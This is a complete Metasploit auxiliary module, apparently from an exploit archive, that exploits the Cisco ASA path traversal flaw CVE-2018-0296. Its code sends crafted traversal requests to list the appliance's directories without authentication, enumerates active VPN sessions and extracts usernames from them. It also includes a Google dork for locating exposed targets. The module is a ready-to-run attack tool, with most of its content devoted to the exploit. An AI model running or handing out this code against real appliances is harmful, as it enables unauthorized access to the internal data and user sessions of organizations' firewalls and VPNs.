Cisco Adaptive Security Appliance Path Traversal

`require 'msf/core'  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Cisco Adaptive Security Appliance - Path Traversal",  
'Description' => %q{  
Cisco Adaptive Security Appliance - Path Traversal (CVE-2018-0296)  
A security vulnerability in Cisco ASA that would allow an attacker to view sensitive system information without authentication by using directory traversal techniques.  
Google Dork:inurl:+CSCOE+/logon.html  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Yassine Aboukir', #Initial discovery  
'Angelo Ruwantha @h3llwings' #msf module  
],  
'References' =>  
[  
['EDB', '44956'],  
['URL', 'https://www.exploit-db.com/exploits/44956/']  
],  
'Arch' => ARCH_CMD,  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
},  
'Platform' => ['unix','linux'],  
'Targets' =>  
[  
['3000 Series Industrial Security Appliance (ISA)  
ASA 1000V Cloud Firewall  
ASA 5500 Series Adaptive Security Appliances  
ASA 5500-X Series Next-Generation Firewalls  
ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers  
Adaptive Security Virtual Appliance (ASAv)  
Firepower 2100 Series Security Appliance  
Firepower 4100 Series Security Appliance  
Firepower 9300 ASA Security Module  
FTD Virtual (FTDv)', {}]  
],  
'Privileged' => false,  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'Ex: https://vpn.example.com', '/']),  
OptString.new('SSL', [true, 'set it as true', 'true']),  
OptString.new('RPORT', [true, '443', '443']),  
], self.class)  
end  
  
  
def run  
uri = target_uri.path  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/'),  
  
})  
  
  
if res && res.code == 200 && res.body.include?("{'name'")  
print_good("#{peer} is Vulnerable")  
print_status("Directory Index ")  
print_good(res.body)  
res_dir = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b'),  
  
})  
res_users = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'),  
  
})  
userIDs=res_users.body.scan(/[0-9]\w+/).flatten  
  
print_status("CSCEO Directory ")   
print_good(res_dir.body)  
  
print_status("Active Session(s) ")  
print_status(res_users.body)  
x=0  
begin  
print_status("Getting User(s)")  
while (x<=userIDs.length)  
users = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/'+userIDs[x]),  
  
})  
  
grab_username=users.body.scan(/user:\w+/)  
nonstr=grab_username  
if (!nonstr.nil? && nonstr!="")  
print_good("#{nonstr}")  
end  
x=x+1  
end  
rescue  
print_status("Complete")  
end  
  
  
else  
print_error("safe")  
return Exploit::CheckCode::Safe  
end  
end  
end  
`